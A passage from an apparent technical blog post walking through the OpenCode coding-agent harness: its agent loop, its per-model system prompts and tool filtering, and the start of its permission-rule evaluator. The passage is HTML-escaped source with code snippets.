  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;task&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;tasks&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;pop&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;task&lt;/span&gt;&lt;span class="p"&gt;?.&lt;/span&gt;&lt;span class="kd"&gt;type&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;subtask&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;    &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="p"&gt;...;&lt;/span&gt; &lt;span class="k"&gt;continue&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;task&lt;/span&gt;&lt;span class="p"&gt;?.&lt;/span&gt;&lt;span class="kd"&gt;type&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;compaction&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="p"&gt;...;&lt;/span&gt; &lt;span class="k"&gt;continue&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;lastFinished&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;yield&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="nx"&gt;compaction&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;isOverflow&lt;/span&gt;&lt;span class="p"&gt;(...)))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="p"&gt;...;&lt;/span&gt; &lt;span class="k"&gt;continue&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Look at those three &lt;code&gt;continue&lt;/code&gt;s. Before this loop will talk to the model, it checks whether a subagent is waiting to run, whether the conversation is due a summary, and whether the last reply just blew past the context window and made one due. A pass might do any of those instead of calling the model at all. And that &lt;code&gt;tasks&lt;/code&gt; list is not a queue sitting in memory somewhere. It's rebuilt every pass from the conversation itself: pending work is stored as message parts in SQLite, so queueing a summary means writing a part into the conversation and letting the next pass find it.&lt;/p&gt;

&lt;p&gt;A pass with nothing queued is the one that calls the model, and even that is careful in ways a toy loop isn't. It looks up which agent the message is addressed to, because the agent decides the system prompt and the tool list. It writes an empty assistant message into SQLite before the model has produced a single word, so if the process dies mid-reply there's a row to mark as interrupted instead of a reply that never existed. Then the stream opens: reply text is written to the database as it arrives, tool calls run the moment the model emits them, and the snapshot system records your files around each step.&lt;/p&gt;

&lt;p&gt;The stream ends with a verdict, and the bottom of the loop is three lines acting on it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;result&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;stop&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;break&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;
&lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;result&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;compact&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;yield&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="nx"&gt;compaction&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;create&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="nx"&gt;sessionID&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;auto&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;...&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt;
&lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;continue&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;stop&lt;/code&gt; means the reply is done and the loop breaks back to idle. If the model ended its reply by calling tools instead, those already ran during the stream; the extra lap sends the conversation back so the model can read their results. And a nearly full window queues a compaction part into the conversation, the same queue this pass checked at the top.&lt;/p&gt;

&lt;p&gt;The stop-or-lap decision keys off the finish reason the provider reports, and providers get it wrong:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Some providers return "stop" even when the assistant message contains&lt;/span&gt;
&lt;span class="c1"&gt;// tool calls. Keep the loop running so tool results can be sent back to&lt;/span&gt;
&lt;span class="c1"&gt;// the model, but ignore cleanup-marked interrupted orphans.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;One provider returned &lt;code&gt;stop&lt;/code&gt; alongside tool calls one day, and now a defensive check lives in the loop forever. A lot of harness code looks like this.&lt;/p&gt;

&lt;p&gt;Everything in the rest of this post is something this loop consults on its way round.&lt;/p&gt;

&lt;h2&gt;
  
  
  System prompts: one per model family
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdheerajakula.dev%2Fimages%2Fopencode%2Fthree-animals-fitted.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdheerajakula.dev%2Fimages%2Fopencode%2Fthree-animals-fitted.jpg" title="Nine system prompts, one per model family, all doing the same job." alt="An antique engraved plate showing a shire horse, an ox and a mule side by side, each fitted with a differently cut harness made from the same leather and buckles." width="800" height="537"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The first thing the loop needs is a system prompt, and &lt;code&gt;session/system.ts&lt;/code&gt; picks one by matching on the model ID:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;model&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;api&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;includes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;gpt-4&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nx"&gt;model&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;api&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;includes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;o1&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nx"&gt;model&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;api&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;includes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;o3&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;PROMPT_BEAST&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;model&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;api&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;includes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;gpt&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;     &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;model&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;api&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;includes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;codex&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;?&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;PROMPT_CODEX&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;PROMPT_GPT&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;model&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;api&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;includes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;gemini-&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;PROMPT_GEMINI&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;model&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;api&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;includes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;claude&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;PROMPT_ANTHROPIC&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Nine full system prompts, one per model family, and their word counts are the interesting part:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Prompt&lt;/th&gt;
&lt;th&gt;Words&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;codex&lt;/td&gt;
&lt;td&gt;1,171&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;trinity&lt;/td&gt;
&lt;td&gt;1,276&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;anthropic&lt;/td&gt;
&lt;td&gt;1,335&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;default&lt;/td&gt;
&lt;td&gt;1,397&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;kimi&lt;/td&gt;
&lt;td&gt;1,411&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;meta&lt;/td&gt;
&lt;td&gt;1,464&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;gpt&lt;/td&gt;
&lt;td&gt;1,492&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;beast&lt;/td&gt;
&lt;td&gt;1,904&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;gemini&lt;/td&gt;
&lt;td&gt;2,235&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Claude gets 1,335 words. Gemini gets 2,235, roughly 67% more. The file for older GPT models is literally named &lt;code&gt;beast.txt&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Nobody writes an extra nine hundred words for one model family for fun. Someone sat there watching Gemini not use the todo tool, or stop early, or narrate what it was about to do instead of doing it, and added a paragraph. Then another. What you're reading in that table is a fossil record of which models needed more supervision.&lt;/p&gt;

&lt;p&gt;The harness has no single answer to "how much instruction does a model need." It has nine. There's a tenth on disk, &lt;code&gt;copilot-gpt-5.txt&lt;/code&gt;, 2,283 words and the largest file in the directory, that nothing imports any more.&lt;/p&gt;

&lt;h2&gt;
  
  
  The tool surface: seventeen tools that change with the model
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdheerajakula.dev%2Fimages%2Fopencode%2Ftool-shadow-board.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdheerajakula.dev%2Fimages%2Fopencode%2Ftool-shadow-board.jpg" title="The registry defines seventeen tools, but which ones a model actually gets depends on the model ID." alt="An antique engraved plate of a workshop shadow board. Every hand tool has its exact silhouette painted on the board behind it. Most hooks hold their tool, but several silhouettes stand conspicuously empty. Below the board is a lock plate with three different keys laid beside it." width="800" height="439"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;With a prompt chosen, the loop asks the registry for a tool list. &lt;code&gt;tool/registry.ts&lt;/code&gt; assembles seventeen tools, four of them behind flags or client checks: shell, read, glob, grep, edit, write, task, webfetch, todowrite, websearch, skill, apply_patch, an internal invalid-call handler, plus question, execute, lsp and plan when enabled. Every description lives in a plain &lt;code&gt;.txt&lt;/code&gt; file next to the code, and together they come to 2,757 words.&lt;/p&gt;

&lt;p&gt;For comparison, Claude Code spends around 29,000 words describing its tools. OpenCode spends under three thousand for a comparable set.&lt;/p&gt;

&lt;p&gt;It reads like it was written by someone who has watched a lot of models fail. The glob description is six bullets. The edit description is longer, and every line in it is a failure mode somebody hit:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;The edit will FAIL if &lt;code&gt;oldString&lt;/code&gt; is found multiple times in the file&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The read tool description is the one I keep thinking about, because it contradicts the best evidence anyone has on the question. Princeton's SWE-agent showed a model doing better on a 100-line file window than on whole files. OpenCode returns up to 2,000 lines by default and then explicitly tells the model to stop being careful:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Avoid tiny repeated slices (30 line chunks). If you need more context, read a larger window.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Either the 2024 result no longer holds for 2026 models, or OpenCode is leaving points on the table. I don't know which, and neither does anyone else as far as I can tell, because nobody has rerun that ablation on a current model. It's the single most useful experiment in this space and it's two years stale.&lt;/p&gt;

&lt;p&gt;The registry does one thing I haven't seen elsewhere. It filters the tool list by model ID:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;usePatch&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;input&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;modelID&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;includes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;gpt-&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;input&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;modelID&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;includes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;oss&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
                 &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;input&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;modelID&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;includes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;gpt-4&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;tool&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="nx"&gt;ApplyPatchTool&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;                          &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;usePatch&lt;/span&gt;
&lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;tool&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="nx"&gt;EditTool&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nx"&gt;tool&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="nx"&gt;WriteTool&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;usePatch&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;GPT models get &lt;code&gt;apply_patch&lt;/code&gt; and lose &lt;code&gt;edit&lt;/code&gt; and &lt;code&gt;write&lt;/code&gt;. Everything else gets the inverse. OpenAI trained its models on &lt;code&gt;apply_patch&lt;/code&gt;, so OpenCode hands them the tool they already know and takes away the ones they don't.&lt;/p&gt;

&lt;h2&gt;
  
  
  Permissions: how the harness decides what to allow
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdheerajakula.dev%2Fimages%2Fopencode%2Fpermission-tollgate.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdheerajakula.dev%2Fimages%2Fopencode%2Fpermission-tollgate.jpg" title="Every tool call goes through the permission system before it runs, and the default answer is ask." alt="An antique engraved plate of a turnpike toll gate. A gatekeeper at a booth holds a large open rule book and checks an approaching loaded cart against it before deciding whether to raise the barrier. Two more carts wait behind, and one already waved through is small in the distance." width="800" height="440"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The model now has a prompt and a tool list, and the moment it calls one of those tools, the permission system gets a vote. Nobody writes about this subsystem, and it turned out to be the most interesting one in the repo.&lt;/p&gt;

&lt;p&gt;The evaluator itself is about ten lines:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;evaluate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;permission&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;pattern&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="nx"&gt;rulesets&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;PermissionV1&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Ruleset&lt;/span&gt;&lt;span class="p"&gt;[])&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;rulesets&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;flat&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;findLast&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;rule&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;
    &lt;span class="nx"&gt;Wildcard&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;match&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;permission&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;rule&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;permission&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nx"&gt;Wildcard&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;match&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;pattern&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;rule&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;pattern&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;??&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nl"&gt;action&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;ask&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;permission&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;pattern&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;*&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A ruleset is a flat list of &lt;code&gt;{permission, pattern, action}&lt;/code&gt; triples, both sides wildcard-matched, last matching rule wins, and the default when nothing matches is &lt;code&gt;ask&lt;/code&gt;. Rulesets come from &lt;code&gt;opencode.json&lt;/code&gt; through &lt;code&gt;fromConfig()&lt;/code&gt;, which flattens the nested config into triples and expands &lt;code&gt;~&lt;/code&gt; and &lt;code&gt;$HOME&lt;/code&gt; into real home directory paths as it goes.&lt;/p&gt;

&lt;p&gt;Concretely, this config:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"permission"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"edit"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"ask"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"bash"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"git status *"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"allow"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"git push *"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"deny"&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;flattens into three triples:&lt;br&gt;
